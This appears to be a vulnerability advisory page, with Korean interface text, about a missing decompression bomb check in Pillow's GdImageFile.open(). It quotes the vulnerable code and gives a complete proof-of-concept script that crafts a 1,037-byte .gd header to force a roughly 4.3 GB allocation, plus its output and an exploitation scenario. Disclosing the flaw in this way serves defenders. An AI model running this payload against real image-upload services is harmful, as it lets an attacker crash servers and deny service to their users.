Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Description
PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.
Vulnerable code (PIL/GdImageFile.py lines 50–61):
1def _open(self) -> None: 2 s = self.fp.read(1037) 3 if i16(s) not in [65534, 65535]: 4 raise SyntaxError("Not a valid GD 2.x .gd file") 5 self._mode = "P" 6 self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each 7 # NO _decompression_bomb_check() call here ← 8 ... 9 self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]When load() is subsequently called on the returned image object:
1load() → load_prepare() → Image.core.new("P", (65535, 65535)) 2# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes thisDimension arithmetic:
| Field | Value |
|---|---|
| Maximum width from header | 65,535 (unsigned 16-bit) |
| Maximum height from header | 65,535 (unsigned 16-bit) |
| Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 |
DecompressionBombError threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |
| Overshoot ratio | 24× above DecompressionBombError threshold |
| Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) |
| Minimum attack file size | 1,037 bytes (header only — no pixel data needed) |
Comparison with safe sibling plugin (WalImageFile):
WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:
1# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) 2self._size = i32(header, 32), i32(header, 36) 3Image._decompression_bomb_check(self.size) # ← presentGdImageFile was never updated to match, leaving a gap in protection.
Steps to reproduce
Proof of Concept script:
1#!/usr/bin/env python3 2""" 3PoC: GdImageFile decompression bomb bypass 41037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check 5""" 6import io, struct 7from PIL import GdImageFile, Image 8 9# Build minimal 1037-byte GD 2.x palette-mode header:10# sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)11sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic12w = struct.pack(">H", 65535) # max width13h = struct.pack(">H", 65535) # max height14true_color = b"\x00" # 0 = palette mode15tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency16colors_used = b"\x00\x00"17palette_data = b"\x00" * 102418header = sig + w + h + true_color + tindex + colors_used + palette_data19assert len(header) == 103720 21# Confirm: standard Image.open() path BLOCKS this size22try:23 Image._decompression_bomb_check((65535, 65535))24except Image.DecompressionBombError as e:25 print(f"[BLOCKED] Image.open() path: {e}")26 27# Vulnerable path: GdImageFile.open() has NO bomb check28img = GdImageFile.open(io.BytesIO(header))29print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")30print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked")31 32# Trigger load_prepare() → Image.core.new("P", (65535, 65535))33try:34 img.load()35except OSError:36 print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")37 38print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")39print(f"[MATH] Attack file: 1,037 bytes only")Expected output:
1[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 2pixels, could be decompression bomb DOS attack. 3[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P 4 No _decompression_bomb_check called — 4.3 GB allocation not blocked 5[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted 6 7[MATH] 4,294,836,225 pixels = 24.0× error threshold 8[MATH] Attack file: 1,037 bytes onlyVerified live on Pillow 12.2.0.
Two attack paths:
| Path | File size | Effect |
|---|---|---|
| Transient (header only) | 1,037 bytes | load_prepare() attempts 4.3 GB C allocation → OSError after spike |
| Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime |
For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.
Real-world scenario:
1from PIL import GdImageFile 2 3# Application accepts user-uploaded .gd files 4img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check 5img.load() # triggers 4.3 GB C-heap allocationImpact
- Availability: HIGH — a single 1,037-byte malicious
.gdfile causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - Confidentiality: None
- Integrity: None
- Authentication required: No — any public endpoint accepting image uploads is affected
- User interaction: None
Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…